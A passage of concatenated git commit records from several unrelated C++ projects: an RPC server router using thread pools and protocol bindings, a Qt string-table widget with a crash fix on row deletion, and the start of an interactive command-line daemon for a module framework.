serialize_mode::serialize)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n auto iter = invoker_map_.find(content.protocol);\n if (iter == invoker_map_.end())\n {\n return false;\n }\n threadpool_.add_task(iter->second, content.call_id, content.message_name, content.body, conn);\n }\n else if (flag.mode == serialize_mode::non_serialize)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n auto iter = invoker_raw_map_.find(content.protocol);\n if (iter == invoker_raw_map_.end())\n {\n return false;\n }\n threadpool_.add_task(iter->second, content.call_id, content.body, conn); \n }\n else\n {\n log_warn(\"Invaild serialize mode: {}\", static_cast<unsigned int>(flag.mode));\n return false;\n }\n }\n else if (flag.type == client_type::pub_client)\n {\n threadpool_.add_task(pub_coming_helper_, content.protocol, content.body, flag.mode);\n }\n else if (flag.type == client_type::sub_client)\n {\n threadpool_.add_task(sub_coming_helper_, content.protocol, content.body, conn);\n }\n else\n {\n log_warn(\"Invaild client type: {}\", static_cast<unsigned int>(flag.type));\n return false;\n }\n\n return true;\n }\n\nprivate:\n template<typename Function>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(const message_ptr&)>::type>::value>::type\n call(const Function& func, const message_ptr& in_message, message_ptr&)\n {\n func(in_message);\n }\n\n template<typename Function>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(const message_ptr&)>::type>::value>::type\n call(const Function& func, const message_ptr& in_message, message_ptr& out_message)\n {\n out_message = func(in_message);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(Self, const message_ptr&)>::type>::value>::type\n call_member(const Function& func, Self* self, const message_ptr& in_message, message_ptr&)\n {\n (*self.*func)(in_message);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(Self, const message_ptr&)>::type>::value>::type\n call_member(const Function& func, Self* self, const message_ptr& in_message, message_ptr& out_message)\n {\n out_message = (*self.*func)(in_message);\n }\n\n template<typename Function>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(const std::string&)>::type>::value>::type\n call_raw(const Function& func, const std::string& body, std::string&)\n {\n func(body);\n }\n\n template<typename Function>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(const std::string&)>::type>::value>::type\n call_raw(const Function& func, const std::string& body, std::string& out_body)\n {\n out_body = func(body);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(Self, const std::string&)>::type>::value>::type\n call_member_raw(const Function& func, Self* self, const std::string& body, std::string&)\n {\n (*self.*func)(body);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(Self, const std::string&)>::type>::value>::type\n call_member_raw(const Function& func, Self* self, const std::string& body, std::string& out_body)\n {\n out_body = (*self.*func)(body);\n }\n\nprivate:\n template<typename Function>\n class invoker\n {\n public:\n static void apply(const Function& func, const message_ptr& in_message, message_ptr& out_message)\n {\n try\n {\n call(func, in_message, out_message);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n\n template<typename Self>\n static void apply_member(const Function& func, Self* self, const message_ptr& in_message, message_ptr& out_message)\n {\n try\n {\n call_member(func, self, in_message, out_message);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n }; \n\n template<typename Function>\n class invoker_raw\n {\n public:\n static void apply(const Function& func, const std::string& body, std::string& out_body)\n {\n try\n {\n call_raw(func, body, out_body);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n\n template<typename Self>\n static void apply_member(const Function& func, Self* self, const std::string& body, std::string& out_body)\n {\n try\n {\n call_member_raw(func, self, body, out_body);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n }; \n\n struct pub_coming_helper\n {\n void operator()(const std::string& topic_name, const std::string& body, serialize_mode mode)\n {\n router::singleton::get()->publisher_coming_(topic_name, body, mode);\n }\n };\n\n struct sub_coming_helper\n {\n void operator()(const std::string& topic_name, const std::string& body, const connection_ptr& conn)\n {\n router::singleton::get()->subscriber_coming_(topic_name, body, conn);\n }\n };\n\nprivate:\n template<typename Function>\n void bind_non_member_func(const std::string& protocol, const Function& func)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n invoker_map_[protocol] = { std::bind(&invoker<Function>::apply, func, \n std::placeholders::_1, std::placeholders::_2) };\n }\n\n template<typename Function, typename Self>\n void bind_member_func(const std::string& protocol, const Function& func, Self* self)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n invoker_map_[protocol] = { std::bind(&invoker<Function>::template apply_member<Self>, func, self, \n std::placeholders::_1, std::placeholders::_2) };\n }\n\n template<typename Function>\n void bind_non_member_func_raw(const std::string& protocol, const Function& func)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n invoker_raw_map_[protocol] = { std::bind(&invoker_raw<Function>::apply, func, \n std::placeholders::_1, std::placeholders::_2) };\n }\n\n template<typename Function, typename Self>\n void bind_member_func_raw(const std::string& protocol, const Function& func, Self* self)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n invoker_raw_map_[protocol] = { std::bind(&invoker_raw<Function>::template apply_member<Self>, func, self, \n std::placeholders::_1, std::placeholders::_2) };\n }\n\npublic:\n using pub_comming_callback = std::function<void(const std::string&, const std::string&, serialize_mode)>;\n using sub_comming_callback = std::function<void(const std::string&, const std::string&, const connection_ptr&)>;\n pub_comming_callback publisher_coming_ = nullptr;\n sub_comming_callback subscriber_coming_ = nullptr;\n\nprivate:\n thread_pool threadpool_;\n std::unordered_map<std::string, invoker_function> invoker_map_;\n std::unordered_map<std::string, invoker_function_raw> invoker_raw_map_;\n std::mutex map_mutex_;\n std::mutex raw_map_mutex_;\n pub_coming_helper pub_coming_helper_;\n sub_coming_helper sub_coming_helper_;\n};\n\n}\n}\n\n<commit_msg>update router<commit_after>#pragma once\n\n#include <iostream>\n#include <unordered_map>\n#include <map>\n#include <tuple>\n#include <type_traits>\n#include \"base\/header.hpp\"\n#include \"base\/function_traits.hpp\"\n#include \"base\/thread_pool.hpp\"\n#include \"base\/logger.hpp\"\n#include \"base\/singleton.hpp\"\n#include \"base\/serialize_util.hpp\"\n#include \"connection.hpp\"\n\nnamespace czrpc\n{\nnamespace server\n{\nclass invoker_function\n{\npublic:\n using function_t = std::function<void(const message_ptr&, message_ptr&)>;\n invoker_function() = default;\n invoker_function(const function_t& func) : func_(func) {}\n\n void operator()(const std::string& call_id, const std::string& message_name, \n const std::string& body, const connection_ptr& conn)\n {\n try\n {\n message_ptr out_message;\n func_(serialize_util::singleton::get()->deserialize(message_name, body), out_message);\n std::string in_message_name = out_message->GetDescriptor()->full_name();\n std::string in_body = serialize_util::singleton::get()->serialize(out_message);\n if (!in_message_name.empty() && !in_body.empty())\n {\n conn->async_write(response_content{ call_id, in_message_name, in_body });\n }\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n conn->disconnect();\n }\n }\n\nprivate:\n function_t func_ = nullptr;\n};\n\nclass invoker_function_raw\n{\npublic:\n using function_t = std::function<void(const std::string&, std::string&)>;\n invoker_function_raw() = default;\n invoker_function_raw(const function_t& func) : func_(func) {}\n\n void operator()(const std::string& call_id, const std::string& body, const connection_ptr& conn)\n {\n try\n {\n std::string out_body;\n func_(body, out_body);\n if (!out_body.empty())\n {\n conn->async_write(response_content{ call_id, \"\", out_body });\n }\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n conn->disconnect();\n }\n }\n\nprivate:\n function_t func_ = nullptr;\n};\n\nclass router\n{\n DEFINE_SINGLETON(router);\npublic:\n router() = default;\n\n void multithreaded(std::size_t num)\n {\n threadpool_.init_thread_num(num);\n }\n\n void stop()\n {\n threadpool_.stop();\n }\n\n template<typename Function>\n void bind(const std::string& protocol, const Function& func)\n {\n bind_non_member_func(protocol, func);\n }\n\n template<typename Function, typename Self>\n void bind(const std::string& protocol, const Function& func, Self* self)\n {\n bind_member_func(protocol, func, self); \n }\n\n void unbind(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n invoker_map_.erase(protocol);\n }\n\n bool is_bind(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n auto iter = invoker_map_.find(protocol);\n if (iter != invoker_map_.end())\n {\n return true;\n }\n return false;\n }\n\n template<typename Function>\n void bind_raw(const std::string& protocol, const Function& func)\n {\n bind_non_member_func_raw(protocol, func);\n }\n\n template<typename Function, typename Self>\n void bind_raw(const std::string& protocol, const Function& func, Self* self)\n {\n bind_member_func_raw(protocol, func, self); \n }\n\n void unbind_raw(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n invoker_raw_map_.erase(protocol);\n }\n\n bool is_bind_raw(const std::string& protocol)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n auto iter = invoker_raw_map_.find(protocol);\n if (iter != invoker_raw_map_.end())\n {\n return true;\n }\n return false;\n }\n\n bool route(const request_content& content, const client_flag& flag, const connection_ptr& conn)\n {\n if (flag.type == client_type::rpc_client)\n {\n if (flag.mode == serialize_mode::serialize)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n auto iter = invoker_map_.find(content.protocol);\n if (iter == invoker_map_.end())\n {\n return false;\n }\n threadpool_.add_task(iter->second, content.call_id, content.message_name, content.body, conn);\n }\n else if (flag.mode == serialize_mode::non_serialize)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n auto iter = invoker_raw_map_.find(content.protocol);\n if (iter == invoker_raw_map_.end())\n {\n return false;\n }\n threadpool_.add_task(iter->second, content.call_id, content.body, conn); \n }\n else\n {\n log_warn(\"Invaild serialize mode: {}\", static_cast<unsigned int>(flag.mode));\n return false;\n }\n }\n else if (flag.type == client_type::pub_client)\n {\n threadpool_.add_task(pub_coming_helper_, content.protocol, content.body, flag.mode);\n }\n else if (flag.type == client_type::sub_client)\n {\n threadpool_.add_task(sub_coming_helper_, content.protocol, content.body, conn);\n }\n else\n {\n log_warn(\"Invaild client type: {}\", static_cast<unsigned int>(flag.type));\n return false;\n }\n\n return true;\n }\n\nprivate:\n template<typename Function>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(const message_ptr&)>::type>::value>::type\n call(const Function& func, const message_ptr& in_message, message_ptr&)\n {\n func(in_message);\n }\n\n template<typename Function>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(const message_ptr&)>::type>::value>::type\n call(const Function& func, const message_ptr& in_message, message_ptr& out_message)\n {\n out_message = func(in_message);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(Self, const message_ptr&)>::type>::value>::type\n call_member(const Function& func, Self* self, const message_ptr& in_message, message_ptr&)\n {\n (*self.*func)(in_message);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(Self, const message_ptr&)>::type>::value>::type\n call_member(const Function& func, Self* self, const message_ptr& in_message, message_ptr& out_message)\n {\n out_message = (*self.*func)(in_message);\n }\n\n template<typename Function>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(const std::string&)>::type>::value>::type\n call_raw(const Function& func, const std::string& body, std::string&)\n {\n func(body);\n }\n\n template<typename Function>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(const std::string&)>::type>::value>::type\n call_raw(const Function& func, const std::string& body, std::string& out_body)\n {\n out_body = func(body);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<std::is_void<typename std::result_of<Function(Self, const std::string&)>::type>::value>::type\n call_member_raw(const Function& func, Self* self, const std::string& body, std::string&)\n {\n (*self.*func)(body);\n }\n\n template<typename Function, typename Self>\n static typename std::enable_if<!std::is_void<typename std::result_of<Function(Self, const std::string&)>::type>::value>::type\n call_member_raw(const Function& func, Self* self, const std::string& body, std::string& out_body)\n {\n out_body = (*self.*func)(body);\n }\n\nprivate:\n template<typename Function>\n class invoker\n {\n public:\n static void apply(const Function& func, const message_ptr& in_message, message_ptr& out_message)\n {\n try\n {\n call(func, in_message, out_message);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n\n template<typename Self>\n static void apply_member(const Function& func, Self* self, const message_ptr& in_message, message_ptr& out_message)\n {\n try\n {\n call_member(func, self, in_message, out_message);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n }; \n\n template<typename Function>\n class invoker_raw\n {\n public:\n static void apply(const Function& func, const std::string& body, std::string& out_body)\n {\n try\n {\n call_raw(func, body, out_body);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n\n template<typename Self>\n static void apply_member(const Function& func, Self* self, const std::string& body, std::string& out_body)\n {\n try\n {\n call_member_raw(func, self, body, out_body);\n }\n catch (std::exception& e)\n {\n log_warn(e.what());\n }\n }\n }; \n\n struct pub_coming_helper\n {\n void operator()(const std::string& topic_name, const std::string& body, serialize_mode mode)\n {\n router::singleton::get()->publisher_coming_(topic_name, body, mode);\n }\n };\n\n struct sub_coming_helper\n {\n void operator()(const std::string& topic_name, const std::string& body, const connection_ptr& conn)\n {\n router::singleton::get()->subscriber_coming_(topic_name, body, conn);\n }\n };\n\nprivate:\n template<typename Function>\n void bind_non_member_func(const std::string& protocol, const Function& func)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n invoker_map_.emplace(protocol, invoker_function{ std::bind(&invoker<Function>::apply, \n func, std::placeholders::_1, std::placeholders::_2) });\n }\n\n template<typename Function, typename Self>\n void bind_member_func(const std::string& protocol, const Function& func, Self* self)\n {\n std::lock_guard<std::mutex> lock(map_mutex_);\n invoker_map_.emplace(protocol, invoker_function{ std::bind(&invoker<Function>::template apply_member<Self>, \n func, self, std::placeholders::_1, std::placeholders::_2) });\n }\n\n template<typename Function>\n void bind_non_member_func_raw(const std::string& protocol, const Function& func)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n invoker_raw_map_.emplace(protocol, invoker_function_raw{ std::bind(&invoker_raw<Function>::apply, \n func, std::placeholders::_1, std::placeholders::_2) });\n }\n\n template<typename Function, typename Self>\n void bind_member_func_raw(const std::string& protocol, const Function& func, Self* self)\n {\n std::lock_guard<std::mutex> lock(raw_map_mutex_);\n invoker_raw_map_.emplace(protocol, invoker_function_raw{ std::bind(&invoker_raw<Function>::template apply_member<Self>, \n func, self, std::placeholders::_1, std::placeholders::_2) });\n }\n\npublic:\n using pub_comming_callback = std::function<void(const std::string&, const std::string&, serialize_mode)>;\n using sub_comming_callback = std::function<void(const std::string&, const std::string&, const connection_ptr&)>;\n pub_comming_callback publisher_coming_ = nullptr;\n sub_comming_callback subscriber_coming_ = nullptr;\n\nprivate:\n thread_pool threadpool_;\n std::unordered_map<std::string, invoker_function> invoker_map_;\n std::unordered_map<std::string, invoker_function_raw> invoker_raw_map_;\n std::mutex map_mutex_;\n std::mutex raw_map_mutex_;\n pub_coming_helper pub_coming_helper_;\n sub_coming_helper sub_coming_helper_;\n};\n\n}\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"d2stringtablewidget.h\"\n\n#include <QProgressDialog>\n#include <QKeyEvent>\n#include <QListWidgetItem>\n#include <QAction>\n\n#ifndef QT_NO_DEBUG\n#include <QDebug>\n#endif\n\n\nD2StringTableWidget::D2StringTableWidget(QWidget *parent) : QTableWidget(parent), _displayRowHex(false), _addToRowValue(true)\n{\n setStyleSheet(\"QTableWidget::item:!active { selection-background-color: #999999 }\");\n horizontalHeader()->\n#if QT_VERSION >= QT_VERSION_CHECK(5, 0, 0)\n setSectionsClickable\n#else\n setClickable\n#endif\n (false);\n}\n\nvoid D2StringTableWidget::keyPressEvent(QKeyEvent *keyEvent)\n{\n switch (keyEvent->key())\n {\n#ifndef Q_OS_MAC\n case Qt::Key_Enter: \/\/ Return (usual Enter) or Enter (on the numpad)\n#endif\n case Qt::Key_Return: \/\/ starts editing of the current selected cell\n if (state() != QAbstractItemView::EditingState)\n emit itemDoubleClicked(currentItem());\n break;\n \/\/ in-place edit\n#ifdef Q_OS_MAC\n case Qt::Key_Enter:\n#else\n case Qt::Key_F2:\n#endif\n editInPlace();\n break;\n case Qt::Key_Home: \/\/ Home or Ctrl+Home goes to the first cell\n if (keyEvent->modifiers() == Qt::NoModifier || keyEvent->modifiers() == Qt::ControlModifier)\n setCurrentCell(0, 0, QItemSelectionModel::ClearAndSelect);\n break;\n case Qt::Key_End: \/\/ End or Ctrl+End goes to the last cell\n if (keyEvent->modifiers() == Qt::NoModifier || keyEvent->modifiers() == Qt::ControlModifier)\n setCurrentCell(rowCount() - 1, 1, QItemSelectionModel::ClearAndSelect);\n break;\n default:\n QTableWidget::keyPressEvent(keyEvent);\n break;\n }\n}\n\nvoid D2StringTableWidget::deleteItems(bool isClear)\n{\n QList<QTableWidgetSelectionRange> ranges(selectedRanges());\n int elementsToDelete = 0;\n for (int i = 0; i < ranges.size(); i++)\n elementsToDelete += ranges.at(i).rowCount();\n\n \/\/ deleting rows is a long process, so progress dialog is shown\n QProgressDialog progress(tr(\"Deleting selected rows...\"), tr(\"Cancel\"), 0, elementsToDelete, this);\n progress.setWindowModality(Qt::WindowModal);\n for (int i = 0, rowShift = 0; i < ranges.size(); ++i)\n {\n const QTableWidgetSelectionRange &range = ranges.at(i);\n if (isClear) \/\/ Only Delete pressed, clears selected items\n {\n for (int j = range.topRow(); j <= range.bottomRow(); ++j)\n for (int k = range.leftColumn(); k <= range.rightColumn(); ++k)\n item(j, k)->setText(QString());\n }\n else \/\/ Shift+Delete pressed, removes selected rows\n {\n for (int k = 0; k < range.rowCount(); ++k)\n {\n progress.setValue((i + 1) * k);\n if (progress.wasCanceled())\n return;\n removeRow(range.topRow() - rowShift);\n }\n rowShift += range.rowCount();\n emit currentCellChanged(currentRow(), 0, 0, 0);\n }\n }\n progress.setValue(elementsToDelete);\n\n if (!isClear)\n changeRowHeaderDisplay();\n}\n\nvoid D2StringTableWidget::createRowAt(int row)\n{\n insertRow(row);\n setItem(row, 0, new QTableWidgetItem);\n setItem(row, 1, new QTableWidgetItem);\n setCurrentCell(row, 0, QItemSelectionModel::ClearAndSelect);\n emit currentCellChanged(row, 0, 0, 0);\n}\n\nvoid D2StringTableWidget::createNewEntry(int row, const QString &key, const QString &val)\n{\n setItem(row, 0, new QTableWidgetItem(key.isEmpty() || key == \"\\\"\" ? QString() : key.split('\\\"', QString::SkipEmptyParts).at(0)));\n setItem(row, 1, new QTableWidgetItem(val.isEmpty() || val == \"\\\"\" ? QString() : val.split('\\\"', QString::SkipEmptyParts).at(0)));\n}\n\nvoid D2StringTableWidget::mousePressEvent(QMouseEvent *mouseEvent)\n{\n emit tableGotFocus(parentWidget());\n QTableWidget::mousePressEvent(mouseEvent);\n\n if (mouseEvent->button() == Qt::RightButton)\n editInPlace();\n}\n\nvoid D2StringTableWidget::clearBackground()\n{\n \/\/ without blocking cells will become green again immediately\n blockSignals(true);\n foreach (QTableWidgetItem *item, _editedItems)\n item->setBackground(QBrush(Qt::white));\n blockSignals(false);\n\n _editedItems.clear();\n}\n\nvoid D2StringTableWidget::dropEvent(QDropEvent *event)\n{\n QTableWidgetItem *firstDroppedItem = itemAt(event->pos());\n QList<QTableWidgetItem *> droppedItems;\n QStringList oldTexts;\n QTableWidgetSelectionRange range = qobject_cast<QTableWidget *>(event->source())->selectedRanges().at(0);\n for (int i = 0, rows = range.bottomRow() - range.topRow(), cols = range.rightColumn() - range.leftColumn(); i <= rows; ++i)\n {\n for (int j = 0; j <= cols; ++j)\n {\n QTableWidgetItem *anItem = item(firstDroppedItem->row() + i, firstDroppedItem->column() + j);\n droppedItems += anItem;\n oldTexts += anItem->text();\n }\n }\n\n QTableWidget::dropEvent(event);\n for (int i = 0; i < droppedItems.size(); ++i)\n {\n QTableWidgetItem *anItem = droppedItems.at(i);\n if (anItem->text() != oldTexts.at(i))\n emit itemWasDropped(anItem);\n }\n}\n\nvoid D2StringTableWidget::toggleDisplayHex(bool toggled)\n{\n _displayRowHex = toggled;\n changeRowHeaderDisplay();\n}\n\nvoid D2StringTableWidget::changeRowNumberingTo1(bool toggled)\n{\n _addToRowValue = toggled;\n changeRowHeaderDisplay();\n}\n\nvoid D2StringTableWidget::changeRowHeaderDisplay()\n{\n QStringList rowLabels;\n for (int i = 0; i < rowCount(); ++i)\n {\n int row = i + _addToRowValue;\n QString rowText = QString::number(row);\n if (_displayRowHex)\n rowText += QString(\" (0x%2)\").arg(row, 0, 16);\n#ifdef Q_OS_MAC\n rowText += \" \"; \/\/ fixes slight text truncation\n#endif\n rowLabels += rowText;\n }\n setVerticalHeaderLabels(rowLabels);\n}\n<commit_msg>fix crash on saving when edited row was removed<commit_after>#include \"d2stringtablewidget.h\"\n\n#include <QProgressDialog>\n#include <QKeyEvent>\n#include <QListWidgetItem>\n#include <QAction>\n\n#ifndef QT_NO_DEBUG\n#include <QDebug>\n#endif\n\n\nD2StringTableWidget::D2StringTableWidget(QWidget *parent) : QTableWidget(parent), _displayRowHex(false), _addToRowValue(true)\n{\n setStyleSheet(\"QTableWidget::item:!active { selection-background-color: #999999 }\");\n horizontalHeader()->\n#if QT_VERSION >= QT_VERSION_CHECK(5, 0, 0)\n setSectionsClickable\n#else\n setClickable\n#endif\n (false);\n}\n\nvoid D2StringTableWidget::keyPressEvent(QKeyEvent *keyEvent)\n{\n switch (keyEvent->key())\n {\n#ifndef Q_OS_MAC\n case Qt::Key_Enter: \/\/ Return (usual Enter) or Enter (on the numpad)\n#endif\n case Qt::Key_Return: \/\/ starts editing of the current selected cell\n if (state() != QAbstractItemView::EditingState)\n emit itemDoubleClicked(currentItem());\n break;\n \/\/ in-place edit\n#ifdef Q_OS_MAC\n case Qt::Key_Enter:\n#else\n case Qt::Key_F2:\n#endif\n editInPlace();\n break;\n case Qt::Key_Home: \/\/ Home or Ctrl+Home goes to the first cell\n if (keyEvent->modifiers() == Qt::NoModifier || keyEvent->modifiers() == Qt::ControlModifier)\n setCurrentCell(0, 0, QItemSelectionModel::ClearAndSelect);\n break;\n case Qt::Key_End: \/\/ End or Ctrl+End goes to the last cell\n if (keyEvent->modifiers() == Qt::NoModifier || keyEvent->modifiers() == Qt::ControlModifier)\n setCurrentCell(rowCount() - 1, 1, QItemSelectionModel::ClearAndSelect);\n break;\n default:\n QTableWidget::keyPressEvent(keyEvent);\n break;\n }\n}\n\nvoid D2StringTableWidget::deleteItems(bool isClear)\n{\n QList<QTableWidgetSelectionRange> ranges(selectedRanges());\n int elementsToDelete = 0;\n for (int i = 0; i < ranges.size(); i++)\n elementsToDelete += ranges.at(i).rowCount();\n\n \/\/ deleting rows is a long process, so progress dialog is shown\n QProgressDialog progress(tr(\"Deleting selected rows...\"), tr(\"Cancel\"), 0, elementsToDelete, this);\n progress.setWindowModality(Qt::WindowModal);\n for (int i = 0, rowShift = 0; i < ranges.size(); ++i)\n {\n const QTableWidgetSelectionRange &range = ranges.at(i);\n if (isClear) \/\/ Only Delete pressed, clears selected items\n {\n for (int j = range.topRow(); j <= range.bottomRow(); ++j)\n for (int k = range.leftColumn(); k <= range.rightColumn(); ++k)\n item(j, k)->setText(QString());\n }\n else \/\/ Shift+Delete pressed, removes selected rows\n {\n for (int k = 0; k < range.rowCount(); ++k)\n {\n progress.setValue((i + 1) * k);\n if (progress.wasCanceled())\n return;\n\n int row = range.topRow() - rowShift;\n removeRow(row);\n _editedItems.remove(qMakePair<int, int>(row, 0));\n _editedItems.remove(qMakePair<int, int>(row, 1));\n }\n rowShift += range.rowCount();\n emit currentCellChanged(currentRow(), 0, 0, 0);\n }\n }\n progress.setValue(elementsToDelete);\n\n if (!isClear)\n changeRowHeaderDisplay();\n}\n\nvoid D2StringTableWidget::createRowAt(int row)\n{\n insertRow(row);\n setItem(row, 0, new QTableWidgetItem);\n setItem(row, 1, new QTableWidgetItem);\n setCurrentCell(row, 0, QItemSelectionModel::ClearAndSelect);\n emit currentCellChanged(row, 0, 0, 0);\n}\n\nvoid D2StringTableWidget::createNewEntry(int row, const QString &key, const QString &val)\n{\n setItem(row, 0, new QTableWidgetItem(key.isEmpty() || key == \"\\\"\" ? QString() : key.split('\\\"', QString::SkipEmptyParts).at(0)));\n setItem(row, 1, new QTableWidgetItem(val.isEmpty() || val == \"\\\"\" ? QString() : val.split('\\\"', QString::SkipEmptyParts).at(0)));\n}\n\nvoid D2StringTableWidget::mousePressEvent(QMouseEvent *mouseEvent)\n{\n emit tableGotFocus(parentWidget());\n QTableWidget::mousePressEvent(mouseEvent);\n\n if (mouseEvent->button() == Qt::RightButton)\n editInPlace();\n}\n\nvoid D2StringTableWidget::clearBackground()\n{\n \/\/ without blocking cells will become green again immediately\n blockSignals(true);\n foreach (QTableWidgetItem *item, _editedItems)\n item->setBackground(QBrush(Qt::white));\n blockSignals(false);\n\n _editedItems.clear();\n}\n\nvoid D2StringTableWidget::dropEvent(QDropEvent *event)\n{\n QTableWidgetItem *firstDroppedItem = itemAt(event->pos());\n QList<QTableWidgetItem *> droppedItems;\n QStringList oldTexts;\n QTableWidgetSelectionRange range = qobject_cast<QTableWidget *>(event->source())->selectedRanges().at(0);\n for (int i = 0, rows = range.bottomRow() - range.topRow(), cols = range.rightColumn() - range.leftColumn(); i <= rows; ++i)\n {\n for (int j = 0; j <= cols; ++j)\n {\n QTableWidgetItem *anItem = item(firstDroppedItem->row() + i, firstDroppedItem->column() + j);\n droppedItems += anItem;\n oldTexts += anItem->text();\n }\n }\n\n QTableWidget::dropEvent(event);\n for (int i = 0; i < droppedItems.size(); ++i)\n {\n QTableWidgetItem *anItem = droppedItems.at(i);\n if (anItem->text() != oldTexts.at(i))\n emit itemWasDropped(anItem);\n }\n}\n\nvoid D2StringTableWidget::toggleDisplayHex(bool toggled)\n{\n _displayRowHex = toggled;\n changeRowHeaderDisplay();\n}\n\nvoid D2StringTableWidget::changeRowNumberingTo1(bool toggled)\n{\n _addToRowValue = toggled;\n changeRowHeaderDisplay();\n}\n\nvoid D2StringTableWidget::changeRowHeaderDisplay()\n{\n QStringList rowLabels;\n for (int i = 0; i < rowCount(); ++i)\n {\n int row = i + _addToRowValue;\n QString rowText = QString::number(row);\n if (_displayRowHex)\n rowText += QString(\" (0x%2)\").arg(row, 0, 16);\n#ifdef Q_OS_MAC\n rowText += \" \"; \/\/ fixes slight text truncation\n#endif\n rowLabels += rowText;\n }\n setVerticalHeaderLabels(rowLabels);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <csignal>\n#include \"bvs\/bvs.h\"\n\n\n\nBVS::BVS* bvs;\nBVS::Logger logger(\"Daemon\");\n\n\n\nvoid mainSignal(int sig);\nvoid shutdownFunction();\nint testLogger();\nint testConfig();\n\n\n\n\/** BVSD namespace, contains only the bvs daemon. *\/\nnamespace BVSD\n{\n\/** BVS framework's command line daemon.\n * This is a simple command line daemon. It serves as a client to the BVS\n * framework. It is also intended as a sample client.\n *\n * It is interactive, you can use the following commands by just entering them\n * on the command line and then pressing enter (short versions are also\n * available, enter 'help<enter>' to see them):\n *\n * @li \\c run run system until paused.\n * @li \\c continue same as run\n * @li \\c step advance system by one step.\n * @li \\c pause pause(stop) system.\n * @li \\c test call test functions.\n * @li \\c quit shutdown system and quit.\n * @li \\c help show help.\n *\/\n\tclass BVSD\n\t{\n\t};\n}\n\n\/** Main function, creates interactive loop. *\/\nint main(int argc, char** argv)\n{\n\tsignal(SIGINT, mainSignal);\n\n\tLOG(2, \"starting!\");\n\tbvs = new BVS::BVS(argc, argv, &shutdownFunction);\n\n\tLOG(2, \"loading modules!\");\n\tbvs->loadModules();\n\n\tLOG(2, \"connecting modules!\");\n\tbvs->connectAllModules();\n\n\tLOG(2, \"starting!\");\n\tbvs->start();\n\n\tbvs->run();\n\n\tstd::string input;\n\twhile (input != \"q\" && input != \"quit\")\n\t{\n\t\tstd::getline(std::cin, input);\n\n\t\tif (input == \"r\" || input == \"run\" || input == \"c\" || input == \"continue\")\n\t\t{\n\t\t\tLOG(2, \"RUN!!!\");\n\t\t\tbvs->run();\n\t\t}\n\t\telse if (input.empty() || input == \"s\" || input == \"step\")\n\t\t{\n\t\t\tLOG(2, \"STEP!!!\");\n\t\t\tbvs->step();\n\t\t}\n\t\telse if (input == \"p\" || input == \"pause\")\n\t\t{\n\t\t\tLOG(2, \"PAUSING!!!\");\n\t\t\tbvs->pause();\n\t\t}\n\t\telse if (input == \"t\" || input == \"test\")\n\t\t{\n\t\t\ttestLogger();\n\t\t\ttestConfig();\n\t\t}\n\t\telse if (input.substr(0,2) == \"hs\" || input.substr(0, 7) == \"hotswap\")\n\t\t{\n\t\t\tsize_t delimiter = input.find_first_of(\" \");\n\t\t\tinput.erase(0, delimiter+1);\n\t\t\tif (input.empty() || delimiter==std::string::npos) std::cout << \"ERROR: no module ID given!\" << std::endl;\n\t\t\telse bvs->hotSwap(input);\n\t\t}\n\t\telse if (input == \"q\" || input == \"quit\")\n\t\t{\n\t\t\tLOG(2, \"quitting...\");\n\t\t\tbvs->quit();\n\t\t\tLOG(2, \"finished!\");\n\t\t}\n\t\telse if (input == \"h\" || input == \"help\")\n\t\t{\n\t\t\tstd::cout << \"usage:\" << std::endl;\n\t\t\tstd::cout << \" r|run run system until paused\" << std::endl;\n\t\t\tstd::cout << \" c|continue same as run\" << std::endl;\n\t\t\tstd::cout << \" s|step advance system by one step\" << std::endl;\n\t\t\tstd::cout << \" p|pause pause(stop) system\" << std::endl;\n\t\t\tstd::cout << \" hs|hotswap <arg> HotSwap(TM) <moduleID>\" << std::endl;\n\t\t\tstd::cout << \" t|test call test functions\" << std::endl;\n\t\t\tstd::cout << \" q|quit shutdown system and quit\" << std::endl;\n\t\t\tstd::cout << \" h|help show help\" << std::endl;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstd::cout << \">>> unknown command: \" << input << std::endl << \">>> for help press 